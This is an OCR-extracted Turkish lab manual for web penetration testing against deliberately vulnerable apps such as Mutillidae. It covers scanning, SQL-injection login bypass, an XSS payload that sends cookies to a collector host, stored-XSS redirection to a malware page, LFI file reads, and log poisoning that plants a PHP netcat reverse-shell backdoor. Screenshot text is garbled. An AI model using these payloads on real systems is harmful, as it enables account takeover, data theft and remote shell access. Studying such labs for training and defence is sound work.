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9.1. Nikto Kullanarak Web Uygulamasina/Sunucuya Yonelik Statik
Guvenlik Testleri

Amag: Hedef sunucu veya uygulamadaki zafiyetleri statik tarama yontemleri kullanarak
tespit etmek
Lab senaryosu: icinde test scriptleri olan 1IS 7 kurulu bir web sunucusu. (Herhangi bir
web sunucusu ve uygulamasi olabilir.)
Kullanilan Araglar:

e Nikto 2.1.4

Adimlar:

1. Adim:

“nikto -list-plugins” komutu ile niktonun mevcut eklentileri listelenir. Listeden belli
eklentilerin -Plugins parametresiyle belirtilebilecegi gibi, higbir eklentinin secilmedigi
nikto hepsini kullanacaktir. “nikto -host 6.6.6.154 -Display 4” komutu ile hedef sistemde
tum eklentiler denenecek sekilde nikto baglatilir. Display 4 ekranda gosterilecek detay
seviyesidir. Tum seviyeler ve diger ayarlar nikto -Help komutu ile listelenebilir.

root@hb: ~/Desktop

File Edit View Search Terminal Tabs Help

| root@hb: ~/Desktop | root@hb: ~/Desktop

sktop# nikto -host 6.6.6.154 -Display 4

0, this may t a WAF or 1 balancer is in pl

n remote-host
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9.2. Netsparker Kullanilarak Web Uygulamalarinin Zafiyetlerinin Tespit
Edilmesi

Amag: Zafiyet tarama araci olan netsparker ile hedef sistemlerin zafiyetlerinin taranarak
tespit edilmesi.

Kullanilan Araglar: Netsparker

Uygulama: Netsparker ticari bir yazihmdir. Web uygulamalarinin guvenlik testlerini
gerceklestirmek tzere kullaniimaktadir. Uygulamanin deneme sturimu Urun sitesinden
indirilebilmektedir, https://www.netsparker.com/web-vulnerability-scanner/download/

1. Adim: Uygulama baglatilarak, hedef web uygulamasinin adresi verilir;

m Netsparker 4.0.1.0 ( Bilgi Guvenligi AKADEMISI - Ankara - 1 Seat )

File View Reporting Tools Help -

i (73 Start New Scan (3 Start Incremental Scan + |i [

@ Vulnerability HTTP Request / Respanse

Start a New Scan

Target Web Site/Service URL

| http://1.1.1.111/wardpress/ [ - | Previous Settings [+

(~) Options
LY
.’,?C Scan Settings Scan Policy
#  General All Security Checks
L. Scope
; Custom Cookies
[ Imported Links
.39 URL Rewrite
©
Z—-) Authentication
Crawling
Form Find and Follow New Links
&”  NTLM, Basic or Digest Enable Crawl & Attack at the Same Time

B G [0 Pause Scan After Crawfing

Netsparker

‘Scan not started
0%
10000 / 000D

Scan Information StartScan [+ [ Cancel

Current Speed: 0,0 req/sec

Averace Speed: 0.0 rea/sec
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2. Adim: Eger kimlik dogrulama alanlari var ise ve hedef sistem giris yapmis bir
kullanici haklari ile sistemde zafiyet taramasi gergeklestirecek ise; sisteme girig
yapilacak kullanici hesap bilgileri tanimlanir.

Burada admin/admin degerleri kullaniimaktadir.

Start a New Scan

Target Web Site/Service URL
http://1.1.1.111/wordpress/ - Previous Settings | = |
@ Options
= ; B
| Scan Settings Form Authentication
5~ General Enabled
= Scope Login Form URL: | http://1.1.1.111 fwordpress/wp-login.php
L2 Imported Links Interactive login
&  URL Rewrite Personas:

= Active | Username Password
o .

| 7 mhensiaton e -
#*

Form
43 NTLM, Basic or Digest

] Client Certificate

| Verify Login & Logout... | E;;?Verified | [z] Custom Script... |

| Start Scan '|| Cancel |
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3. Adim: Taramanin baglatilmasi, Start Scan denilerek tarama baslatilabilir.
Tarama bittiginde elde edilen zafiyetler;

Version Disclosure (Apache)
CERTAINTY

URL http://1.1.1.111/wordpress/

EXTRACTED VERSION 2.2.14

VULNERABILITY DETAILS

Netsparker identified a version disclosure (Apache) in the target web server's HTTP response.

» @ SOL Injection

» @ [Probable] SQL Injection

» M Cross-site Scripting

i M Database User Has Admin Privileges

[ Fi] Passwaord Transmitted over HTTP

b [0 Qut-of-date Version (MySQL)

[ Fi] [Possible] Permanent Cross-site Sr_l}pting
I FE] Frame Injection

» [ [Possible] Cross-site Scripting

[» FE] [Possible] Source Code Disclosure (PHP)
1] Cookie Not Marked as HttpOnly
11 OPTIONS Method Enabled

U Internal Server Error

Il Autocomplete Enabled

Il [Passible] Cross-site Request Forgery Detected
I Missing X-Frame-Options Header

!l Database Error Message Disclosure

I Version Disclosure (mod_ssl)

! Version Disclosure (Perl)

| ! Version Disclosure (Apache]|

"1l Version Disclosure (OpenS5L)

1 Version Disclosure (Apache Madule)

11 Version Disclosure (Python)

1l Version Disclosure (PHP)

11 Apache MultiViews Enabled

[ [Possible] Cross-site Request Forgery in Login Form Detected

v W T VT W W W W WOV W OW W W W W W

Il [Passible] Internal IP Address Disclosure
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9.3. SQLi Kullanarak Giris Formu Asma / Authentication Bypass

Amag: Hedef uygulamanin, giris formundaki “sql injection” zafiyetini istismar ederek,
sisteme yetkisiz giris yapmak.
Kullanilan Araglar:

e Burp Suite Free 1.5

e Muitillidae

Adimlar:

1. Adim:

Hedef giris formu acilir (owasp top 10->Al1->bypass auth->login), , kullanici adi ve
parola alanlarinda, sik kullanilan bir payload olan ‘ or ‘“1’=’1 denenir. “Mutillidae security
Level” 0 icin bu payloadin basariyla ¢alistigi goraltyor.

lceweasel
File Edit View History Bookmarks Tools Help

| % http://192.168....page=Login.php \Jl{‘b‘ k

4@ (@ 152.168.41.132/mutillidae/index php?page=login php Y@ ® Bv

[&Most Visited~ JllOffensive Security e Kali Linux "% Kali Docs !!ExpluwthB W Aircrack-ng

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.5.12 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Logged In Admin: admin (root)

Home Logout Toggle Hints Toggle Security Reset DB View Log View Captured Data Hide Popup Hints Enforce SSL

Login

Web Services 4

HTML 5 4

{
@ Back e Help Me!

Others 3
You are logged in as admin

Documentation 4

P Y

Site
hacked...err...quality-
tested with Firefox,
Burp-Suite and these
Mozilla Add-ons

2. Adim:

Security level 1 olarak ayarlanip, ayni payload denendiginde “Dangerous characters
detected. We can't allow these.....” diye baslayan bir hata mesaji alintyor. Mesajin
devaminda yazdidi Uzere, bir ¢esit “blacklist” yontemi uygulaniyor. Bu asamada tarayici
“proxy” olarak “burp suite” kullanacak gibi ayarlanir ve payload icermeyen bir giris istegi
gonderilir. “Burp suite” Uzerinden yakalanan istek, “password” bolumuine 1. Adimdaki
gibi yerlestirilip gonderilir. Bu sekilde, istemci tarafli korumanin asildigi gérilmektedir.
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3. Adim:

Farkli payloadlari otomatik olarak denemek ve blacklist’'in icermedigi bir payload
bulabilmek igin, Burp suite’in “intruder” eklentisi kullanilabilir. Yakalanan istek, burp
suit’'in intruder eklentisine génderilir. Girdi noktalari belirlenir (6rnekte kisa slirmesi igin
sadece parola alani segilmistir).

Burp Suite Free Edition v1.5
Burp Intruder Repeatsr Window Help

[Target[ T Spider I Scanner [ Intruder T Repeater T Sequencer T Decoder I Comparer T Options TAIerts }

CoJanl

Target | Positions | Payloads TOptions 1

@

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details

Attack type: | Sniper

=
POST jmutilidae/index.php?page=login.php HTTR/1.1 A | Adds
Host: 192,168.41,132 r —J
User-Agent: Mozillaf5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasal/18.0.1 | Clears
Accept: text/html,application/xhtml+xmlapplication/xmliq=0.9 *%/*:q=0.8
Accept-Language: en-US,en;g=0.5 | Autos
Accept-Encoding: gzip, deflate
Referer: http://192.168.41.132/mutillidae/index.php?popUpNatificationCode=SL1&page=login.php |_Refresh
Cookie: showhints=0; PHPSESSID=3bg6 1ag3vkdf7ok27te1l1m2p5s
Connection: keep-alive
Content-Type: applicationx-www-form-urlencoded
Content-Length: 60
username=bga&password=8bgasaaaask/ogin-php-submit-button=Login k

L

v
lz]l=<]|+]]= Tvpe a search term 0 matches | Clear
1 payload position Length: 621

Payloads tabindan denenecek payloadlarin listesi eklenir. Siklikla kullanilan “sqli login”
payloadlarinin oldugu bir listeye “http://www.architectingsecurity.com/wp-
content/uploads/authentication-bypass-list.txt” adresinden ulagilabilir. Payload “options”
bolumunden, “load” tiklanarak, liste yuklenir ve ust menuden “Intruder->start attack”
denilerek saldiri baglatilir.
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Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

[TargetT I Spider IScanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Options TA\erts |

Yol |

(Targat TPns\tmns TPay\nads TOptmr\s |

i
@ T
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for sach payload set, and each payload type can be
customized in different ways
Payload set: |1 l#|  Payload count 46
Payload type: | Simple list [*]  Request count: 46
€3]
This payload type lets you configure a simple list of strings that are used as payloads
| Paste || or 1=1 A k
—— | ori1=1--
[(Load.. | orl-1#
——— | or1=1p
[ Remove | | admin’ -
—— | admin' #
| clear |
v
| add |
Add from list ... [Pro version only]
2
You can define rules to perform various processing tasks on each payload before it is used
b
v

[ add | [Enabled [ Rule 1

Doénen cevaplar(dzellikle boyutu farkli olanlar) incelenerek, basarili olan payloadlardan
biri secilip kullanilarak, sistem yetkisiz giris yapilir.
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9.4. XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi

Amag: XSS zafiyetini istismar ederek kullanicilarin cookie bilgilerini elde etmek.
Lab senaryosu: Mutillidae kurulu web sunucusu.
Kullanilan Araglar:

e Burp Suite 1.5

Adimlar:

1. Adim:

Hedef uygulamada XSS istismari tespit edilir. Ornekte Mutillidae’nin persistent XSS
boliminde show-log sayfasi kullaniimistir. Hedef uygulama, sayfayi ziyaret eden
kullanicilara ait erisim loglarini listelemektedir. Buradaki user-agent alanina, xss
payloadini yerlegtirerek, loglara bakan adminin oturum bilgileri ele gegiriimeye
calisiimistir. Oncelikle bilgileri kaydedecek sistem hazirlanir. Bu is icin basit bir PHP
betigi(dil 6nemli degil) yazilir(get.php).

2. Adim:

Tarayici Burp Suite’e yonlendirildikten sonra Mutillidae uygulamasinin herhangi bir
sayfasi acllir.

Burp Suite ile yakalanan istegin user-agent bolimine

<script>document.location="http://kayitsistemi.com/get.php?c="+encode URIComponent
(top.window.location+":"+document.cookie);</script>

payloadi yerlestirilip istek yollanir.
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Burp Suite Free Edition v1.5

[Target Spider T Scanner T Intruder ]’ Repeater ]’ Sequencer ]’ Decoder ]’ Comparer T Options TA\Erts \

j T History T Options ‘

Request to http:/f192.168.41.135:80

| Forward | | Drop | | Interceptis on |

Action J ent this ite; =8 (2)
[ Raw [ Params [ Headers | Hex |
Name Value [ Add J
GET Jmutillidae/index. php?page=show-log.php HTTP/1.1 —_—
Host 192.168.41.135 [ Remove |
User-Agent [cument location="http://6.6.6.140/get php?c="+encodeURIComponent(top. window location+":"+document.cookie);</scripts] —————
Accept text/html, application/xhtml+=ml, application/xml; g=0.9,%/* q=0.8 [Cw |
Accept-Language en-Us,en;q=0.5 — —
Accept-Encoding gzip, deflate P
Cookie showhints=0; PHPSESSID=c38lgnjqnijl93i317fomprpa2 | Down |}
Connection keep-alive
Cache-Control max-age=0 *
[
r
L
|
L2 =]+ ][ =] |Tvpeasearchterm 0 matches

Yonetici, log sayfasini kontrol ettiginde payload calisir ve url ve cookie bilgilerini alip,
karakter kaybi olmamasi i¢in encode edip, url ve cookie bdlimlerini ayirmak igin: koyup,
kayit sistemindeki betige, bu bilgileri get metodu ile yollar. URL’in de cookie ile beraber
uygulamalarda, oturum bilgilerinin bir bolimu url ile
tasinabilmektedir. Bu gibi durumlarda, hedef kullanicinin cookie bilgilerini kullanmanin
yanisira, ayni url'yi de kullanmak gerekir. Bu yuzden, ornek uygulamada boyle bir
durum s6z konusu olmasa bile, bahsedilen durumu da karsilayan bir payload

alinmasinin sebebi, bazi

hazirlanmistir.
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3. Adim:
get.php isimli betigin bulundugu dizindeki sessions.txt dosyasinin i¢erigine bakilarak,
kurbanin url ve cookie bilgileri listelenir.

root@hb: fvarfwww

File Edit View Search Terminal Tabs Help

root@hb: Jvar. root@hb: ~/Desktop

Daha az dikkat ¢cekmesi agisindan, gercek testlerde, document.location ile sayfayi
yonlendirmek yerine, kurbanin dikkatinden daha kolay kacabilecek <img src= payload />
veya <iframe src=payload width=0 height=0 /> gibi farkli payloadlar kullanilabilir.
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9.5. Stored XSS Kullanarak Zararli Yazilim Barindiran Sayfaya
Yonlendirme

Amag: Stored XSS zafiyetini istismar ederek, zafiyetin bulundugu sayfayi ziyaret eden
tum kullanicilari, zararlh yazihim barindiran bir adrese yonlendirmek.
Lab senaryosu: Mutillidae veya stored XSS bulunan baska web uygulamasi kurulu
web sunucusu.
Kullanilan Araglar:

e Iceweasel 18

Adimlar:

1. Adim:

Stored XSS payloadi olarak <script>window.location="http://zararlisayfa.com"</script>
girilir ve sayfay ziyaret eden kullanicilar, dogrudan “zararlisayfa.com” adresine
yonlendirilirler.

Eger, kullanicinin bagli oldugu sayfayi terk etmeden, dolayisiyla haberi olmadan, bagka
bir sayfaya baglanmasi isteniyorsa, gizli iframe yontemi kullanilabilir. Bu yontemde de
XSS payloadi olarak (XFS yani cross frame scripting de denilmektedir)

<iframe style="position:absolute;top:-9999px" src="http://zararlisayfa.com"/></iframe>
kullanilabilir. Test ortaminda, payloadin ¢alistigini dogrulamak i¢in Mutillidae’nin
Persistent XSS boliminde, blog girdisi olarak girilir. Devaminda bloglar listelenirken,
tarayicinin durum gubugunda (resimde sol altta) “zararlisayfa.com adresinden veri
yukleniyor” gibi bir mesaj gorunuyor olmasi gerekir.
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Iceweasel - (O
File Edit View History Bookmarks Tools Help
) http://192.168....eones-blog.php U C ] |
€ [@ 192.168.41.135/mutillidae/index. php?page=view-someones-blog php v 9 @ B~ Q) v

S, Kali Docs nExpluwthB BE PHP Charset Encoder/...

e% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.5.12 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data Hide Popup Hints Enforce SSL

. |
( View Blogs ] |-

Weh Servi lces

HTML5 Back g Help Mel! N

s

View Blog Entries
@ Add To Your Blog L

Documentallon

{ Select Author and Click to View Blog }

Please Choose Author < | View Blog Entries
/ﬂ'\ SR

Site
hacked...err...quality- 13 Current Blog Entries
tested with Firefox,
Burp-Suite and these Name Date Comment
Mozilla Add-ons 1 [anonymous |2013-07-16 23:44:50
= " s 2009-03-01 22:31:13 |Fear me, for | am ROOT!
ransferring data from www.bga.com.tr... - - - - ]
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9.6. Local File Inclusion Kullanarak Sistemden Dosya Okuma

Amag: Hedef web uygulamasinda var olan LFI(Local File Inclusion) agikligi istismar
edilerek, sistemden asagidaki dosyalar okunacaktir:

e /etc/hosts

e /etc/passwd

e /etcl/issue

Lab senaryosu: Ornek bir web sitesi (www.bga.com.tr) (izerinde ki mevcut alt dizinler
kesfedilecektir. Kullanici adi parola korumali alanlarin veya hassas kritik bilgilerin (dizin
listeleme v.s) bulunacakiir.
Kullanilan Araglar:

e NOWASP (mutillidae)

e Firefox Browser

Adimlar:

1. Adim:

LFI acikhdi, cesitli otomatik araglar kullanilarak bulunabilecegi gibi manuel testler ile de
tespit edilebilir. Biz LFI inclusion agikhgi tzerinde barindiran NOWASP mutillidae
uygulamasini, sistemimize kurup, onun tizerinden érnegimizi veriyoruz. ilgili uygulama
http://sourceforge.net/projects/mutillidae/files/mutillidae-project/ adresinden indirilebilir.

Mutillidae bir dosya olarak /var/www/ altina kopyalanir.
root@bt:~# cp -R mutillidae/ /var/www/

Ardindan apache ve mysql servisleri asagidaki gibi baslatilir.
root@bt:~# service apache?2 start
root@bt:~# service mysql start

2. Adim:

Browser aracihidi ile http://3.3.3.12/mutillidae seklinde uygulamayi kurdugunuz sistemin
ip adresini ve dizin ismini veriyoruz ve uygulamayi agiyoruz. Home butonu
tiklandiginda, asagidaki gibi bir sayfa karsimiza gelecektir.
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P - N——
‘\S/‘I 3.3.3.11/mutillidae/index.php?page=home.php ¢ | (B~ Google Q) [fr](Ga) [#
B Sqli-Labs Series [E3 Bookmarks.

@« NOWASP (Mutillidae): Hack Like You Mean It

Version: 2.4.5 Security Level: 1 (Arrogent) Hints: Disabled (0 - | try harder) Not Logged In

Enforce SSL

Home Login/Register Toggle Security ResetDB Viewlog View Captured Data Show Popup Hints

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application )

;ﬁt What's New? Click Here @ Help Me!

« Latest Version N « Backtrack
« Installation Instructions \ =z « Samurai Web Testing Framework

- Hlmnma lanboonbinma . - sl

Documentation 12

1}

3. Adim:

URL igerisinde bulunan page parametresi, LFI acikhdi var mi yok mu diye test edelim.
Bunun i¢in local sistemde yerini bildigimiz dosyalari, bu parametreye input olarak verip,
getirmesini isteyecegiz.

Oncelikle /etc/hosts dosyasini ¢gagiralim. Bunun igin bir kag dizin geri gikmamiz
gerekebilir. Bir dizin geri gelmek igin ../ seklinde bir ifade kullanabiliriz. Biz 3 dizin geri
gelip localdeki /etc/hosts dosyasini okumaya calisalim. Asagidaki gibi local dosyaya
erisim yapilabilmistir.

@I 3.3.3.11/mutillidae/index.php?page=../..[..[..[etc/hosts [ | -g!' Google Q“ [EJ {g] E
B Sgli-Labs Series [E3 Bookmarks ~
@« NOWASP (Mutillidae): Hack Like You Mean It
Version: 2.4.5 Security Level: 1 (Arrogent) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Security ResetDB View Log View Captured Data Show Popup Hints Enforce SSL

127.0.0.1 localhost 127.0.1.1 bt.foo.org bt # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback

T N fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes f02::2 ip6-allrouters ff02::3 ip6-allhosts

HTML 5
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4. Adim:

Hedef sistem Uzerindeki /etc/issue dosyasini okuyalim. Bu dosyada, hedef sistemin
isletim sistemi bilgisi yazmaktadir. Asagida goruldagu gibi Backtrack 5 R3 - 32 bit
oldugunu gorebiliriz.

—
[\j/'l 3.3.3.11/mutillidae/index.php?page=../../../../etc/issue <}
B9 Sqli-Labs Series

@4 NOWASP (Mutillidae): Hack Like You |

Version: 2.4.5 Security Level: 1 (Arrogent) Hints: Disabled (0 - | try harder)

Home Login/Register Toggle Security ResetDB View Log View Captured Data Show Po

BackTrack 5 R3 - 32 Bit\n \l

5. Adim:
Hedef sistem Uzerindeki kullanicilarin bulundugu /etc/passwd dosyasini goruntuleyelim.

- { s ralre
(d/'l 3.3.3.11/mutillidae/index.php?page=../../../../etc/ passwd = (B3~ Google Q) [#] |G
[ Sqli-Labs Series [E3 Books

e NOWASP (Mutillidae): Hack Like You Mean It

Version: 2.4.5 Security Level: 1 (Arrogent) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Security ResetDB ViewlLog View Captured Data Show Popup Hints Enforce SSL

Kora Controly root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534 :syncu/bin:/binfsync games:x:5:80:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh |p:x:7:7lp:/var/spool
Npd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spoolfuucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/variwww /bin/sh backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:38:ired varfrun/fircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
Nib/gnats:/binfsh libuuid:x:100:101::/varflib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:102:65534::/var/run/sshd:
lusr/sbin/nologin landscape:x:103:108::/var/lib/landscape:/bin/false messagebus:x:104:112::/ivar/frun/dbus:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysqglx:105:113::/var/lib/mysql:/bin/false avahi:x:106:114::var/run/avahi-daemon:
/binffalse snort:x:107:115:Snort IDS:/varflog/snort:/bin/false statd:x:108:65534::var/lib/nfs /bin/false usbmux:x:109:46::/home/usbmux:
/binffalse pulse:x:110:116::Avarfrun/pulse:/binffalse rtkit:x:111:117::/proc:/binffalse festival:x:112:29:/home/festival/binffalse
postgres:x:1000:1000:/home/postgres:/bin/sh haldaemon:x:113:122:Hardware abstraction layer,,,2/var/run/hald:/bin/false

OWASP Top 10

HTML 5

Documentation
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9.7. Local File Inclusion Kullanarak Sisteme Arka Kapi Yerlestirme

Amag: Bu makalede, Local File Inclusion(LFI) acikhidi barindiran bir sistem Uzerine,
arka kapi yerlestirip, nasil shell alinabilecegi anlatiimistir.

Lab senaryosu: LFI agikligini barindiran, linux web sunucu tzerinde bulunan web
uygulamasina, php ile hazirlanmig bir arka kapi yerlestirilecektir. Daha sonra, bu arka
kapi ile saldirganin local sistemine, ters baglanti ile shell elde edilecektir. Bu
seneryodaki islemler, LFI acikligi istismari ile gergeklestirilecektir. Ve sunucu Uzerindeki
access.log dosyasi zehirlenecek, arka kapi php formatinda buraya atilacaktir. Hedef
sisteme atilacak arka kapi, islevini netcat komutunun php ile sistemde cgalistiriimasi ile
gerceklestirecektir.

Atilacak arka kapt:

<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090") ?>

Kullanilan Araglar:
e NOWASP ( Mutillidae)
e Burp Suite
e Netcat

Adimlar:

1. Adim:

LFI acikhdi, hedef sistem Uzerindeki yeri bilinen bazi dosyalarin, igeriginin okunmasina
imkan veren bir guvenlik acigidir. Birgok web gelistiricisi tarafindan Gnemsenmeyen,
basite alinan bir agiklik olarak bilinir. Oysa LFI agikliklari da tipki XSS agikliklari gibi
masum gorunen ama oldukga tehlikleli agikliklardandir.

Local sistemimizde, BurpSuite uygulamasini ¢alistirdiktan sonra éntanimli ¢alistigi port
8080 oldugu igin (degistiriimedigini varsayilip) browserinizda 127.0.0.1:8080 olarak,
proxy ayarlarinizi yapmaniz gerekmektedir.

Oncelikle, LFI(Local File Inclusion) agikligi bulunan web sunucumuza, browser araciligi
ile bir baglanti istegi gonderiyoruz ve talebimiz hedefe gitmeden 6nce, burp suite
Uzerinde Proxyl/intercept altinda, asagidaki gibi gorebilir, degistirebilir daha sora
sunucuya gonderebilirsiniz.

Talep ettigimiz sayfa;
http://3.3.3.12/mutillidae/index.php
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Burp Intruder Repeater Window Help

[Target r Froxy ISpIdEI Tﬂcanner I Intruder Thpeater TSequencer ] Decoder TCnmparer 1j[-.:-:l:emiet Tﬂpti-:ms ]Alerts ]

lnigccept| History | Options

Request to http://3.3.3.12:80
Farward | [ Drap ] Intercept is on Actian |

[mT Params I Headers T Hex ]

GET /mutillidaesindsx.php HT?R/1.1
Hosk: 3.3,3.1%7

Usear-hgent: MorillsafS.0 [(Hacintosh; Imtel Macs OF X 10.7fF rwvil@,0) Secks/ 20100101 Firefowd 18,0
hooeptr text/hinl,application/xbktmlexml, application/umlpg=0.%, = *;g=0.8

Aocspt-Language: en-US,an;g=0.5

accepb-rncoding: giip, dsflats

Cookis; showhintss=l; FHPSLSSID=yyilosinsmratblisNakiq=dir
Commestion: keep-aliwve Send to Spider

Do an active scan
Send to Intruder Meta |

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser [

2. Adim:

Mevcut parametreler Uzerinde, daha rahat manipule islemleri gerceklestirmek igin sag
tiklayip, send to repeater diyoruz. Asagida yapilan http talebine ait ¢esitli baglik bilgileri
vardir. Biz burada, User-Agent baglik bilgisi ile ilgilenecegiz. Asagida da bize ait user
agent baslik bilgisinin detaylari gorulebilir.
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Burp Intruder Repeater Window Help

"y

r - r =y " "
| T.lrgel!] ] Spider ] Scanner ] Intruder Tﬂzpeal:e\.rﬂ| Sequencers J Decoder Tl:nlrlparu.' | Extender | Options | Alerts ]

|-1 | 2 l- o

Co |
st

i-Ita.w ] Params ] Headéers ] Hex ]

sET Smebillidass index.php HTTRL. ]
Kest: 3.3.3.1%2

User-ggent: Morillarf.0 (Macintosh; Intel Mac 05 X 10.7; rwil@.0) 8ecko I010010) rirefox/16.0
hocept: text/htnml,applicationfwhimlsxnl, application wnljg=0.9 = =;g=0.8

hoocpt=Lanouager en=US,ecopg=0.5

hooapt-Encoding: grip, deflate

rookiat showhints=03 PHPSFSSID=weilgajnamrithlesoikEqadTT

comneckion: kesp-alivs

3. Adim:
Access.log dosyasi, web sunucuya baglanti kuran kullanicilara ait ¢esitli bilgileri loglar.
Bu bilgilerden bazilari;

e Tarih-Saat
Source IP adresi
Http talep tlru
Talep edilen URL
User-Agent bilgisi v.s
Access.log dosyasi kotu konfigure edilmis bir ok sunucuda ve 6zellikle paylagimli
barindirma hizmeti veren sunucularda, LFI acikligi ile erigilebilen bir dosyadir. Biz bu log
dosyasina GET talebi ile User-Agent parametresine verdigimiz degeri, hedefe enjekte
edecegiz.

Simdi saldiri seneryomuza gegmeden 6nce kuguk bir php scripti ile access.log
dosyasini zehirleyelim. PHP diline ait olan phpinfo() foksiyonunu galistirip hedef
Uzerindeki etkisine bakalim.

Bunun i¢in User-Agent degerine asagidaki php scripti yazilir ve hedef sisteme
gonderilir.
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8068 Burp Suite Professional w1.5.04 - licensed to BTK [single user license]

Burp Intruder Repeater Window Help
[ Target | Proxy [ Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Optians | Alerts |

Reguest

M Params iHndtr: THu ]

GET Jmutillidae’index.php HTTE/L.1

Hoztr 2.2.3.1%

Uzer-igent:; ETphp phpinfo[); 7=

Recept: Bexb hEml spplication/xhiml+xnl spplicationlxnl;qg=0,5 s/ 8;q=0_8
Recspl-Languags: en-us,en;g=0.5

Accept-Encoding: grip, deflate

Cookiel showhints=lj) EMPEEESID=wrridgaineme]tblt s0iktqadr?

Connecstion: keep-alive

4. Adim:

Bu asamadan sonra hedef sistem Uzerinde LFI a¢ikligi kullanilarak, asagidaki gibi
access.log dosyasi ¢cagrildiginda, bizim user-agent olarak gonderdigimiz php scripti ilgili
sayfada calisacaktir. Asagidaki ekran goruntistnde de gortlebilecegi gibi hedefe ait
php bilgilerini, ekrana verecektir.

N ) @ 3.3.3.12/munliidas /index.phpTpag

Leocnss 5 Feslox/100" 3 S2013:08 freasti P
D428-11d2-ATE5-00AMOI ACFA2 MTTP/Y.1" 200 2375 utiidacindex ohp Ppoge=. S/ AL 7./ varog/apache2iaocess. log” "Mazily5 .0 (Macitosh; nted A
8282l 00 G N d " »

10.7; 7:18.0) Gocked20100101 Fireto18.0" 3.3.3.10 « « [16Fav20130 cen.prg 1" 200 6363 "~

Sarver AN | Apicre 20 Harcie
Vel Ciaetery | dantmee.

Fie | mahonesied
Lawdnt MO
A el

B e S

5. Adim:

LFI agikh@i barindiran hedef sistemde, bize reverse shell verecek php scriptimizi
(<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) User-Agent olarak kullanip, burp
suite ile hedefe bir GET talebinde bulunuyoruz. Asagida yaptigimiz http istek ve
donulen http cevap bilgisi gorilebilir.
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|. Target ] Proxy ] Spider ] RCanner ] Intruder TR:p:a:tr TS-:quenu:r rDeLndur ] Comparer T Extender Tﬂp!iunh ] Alerts ]

Raw | Params THtad-:rs THtx ]

E? JSmutillidaeSindau.php HOTRSL.L

User=Rgentr ETphp shell exeo| *no =e Sfbin/sh 3.3.3.10 %0%0+) 7=

Accept: text/hitnl, application/=html+xml, applicationssnlyg=0.2 =/ =;g=0,3%
hocepb-Language: =n-UsS,en;jg=0.5%

hocept-Encoding: grip, deflate

O PHPSESSID=ro30gajnene jEL1Is0i Xl joar’y

Connection: keep-alive

cookie: showhinbs=0

(SN | -] =

Raw | Headers Ev HTML | Render
| |

HTTESL.1 200 O

Dater Sat, le Faeb Z0l2 Uérderds THT
savwar: apacha/7.7.14 (ubuntu
¥-Fowered-By: EFHESE.3.2-lubuntud.ls
Loggad-In-Usar:

Vary: hAcospb-Encoding
Content-Lengths 31200

Keap-Alive: timeout=lt, max=100
connection: Keesp-hlive
Comtent=Typer text htnml

Yukaridaki php scriptini (<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090") ?>) user
agent olarak kullanip, hedef sistemin access.log dosyasina kaydettirdikten sonra
browser araciligi ile veya asagidaki gibi curl ile hedef sistemdeki bu dosyayayi
¢agirmamiz, shell almamiz igin yeterli olacaktir.

6. Adim:

5. Adimdaki sayfaya baglanti isteginden 6nce local sistemimizde 9090 portunu netcat ile
dinleme moduna almig olmamiz gerekiyor. Asagidaki gibi netcat ile ilgili port dinleme
moduna alinabilir.

sh-3.2# nc -lv -p 9090
listening on [any] 9090 ...

Ters baglanti yapilacak portumuzu, dinleme moduna aldiktan sonra curl ile sayfayi
¢agiralim;

7.Adim:

sh-3.2#
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curl —s
http://3.3.3.12/mutillidae/index.php?page=../../../..1..I..1..]..]..Ivar/log/apache2/access.log

Burada access.log dosyasinin ekran goéruntisu ¢ok blyuk oldugu igin verilmemigtir. Siz
browser araciligi ile de ¢agirabilirsiniz. URL ¢agrildiktan sonra 3.3.3.10 |IP adresine
sahip local sistemimizde, dinleme moduna aldigimiz netcat oturumuna bir baglantinin
geldigini, agsagidaki gibi gorebilirsiniz. Bundan sonra vereceginiz tum komutlar hedef
web sunucunun /bin/sh shell'inde galisacaktir.

sh-3.2# nc -lv -p 9090

listening on [any] 9090 ...

Warning: forward host lookup failed for n003-000-000-000.static.ge.com: Unknown host
: Connection timed out

connect to [3.3.3.12] from n003-000-000-000.static.ge.com [3.3.3.10] 43962

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

w

07:43:17 up 22:46, 7 users, load average: 0.13, 0.22, 0.14

